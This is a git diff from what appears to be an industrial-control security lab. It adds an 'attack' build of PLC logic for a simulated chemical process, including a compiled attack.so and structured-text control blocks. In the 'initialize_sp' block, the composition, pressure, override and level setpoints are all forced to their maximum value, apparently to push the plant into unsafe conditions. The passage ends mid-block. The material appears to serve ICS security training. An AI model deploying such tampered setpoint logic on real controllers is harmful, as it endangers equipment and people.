+357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + 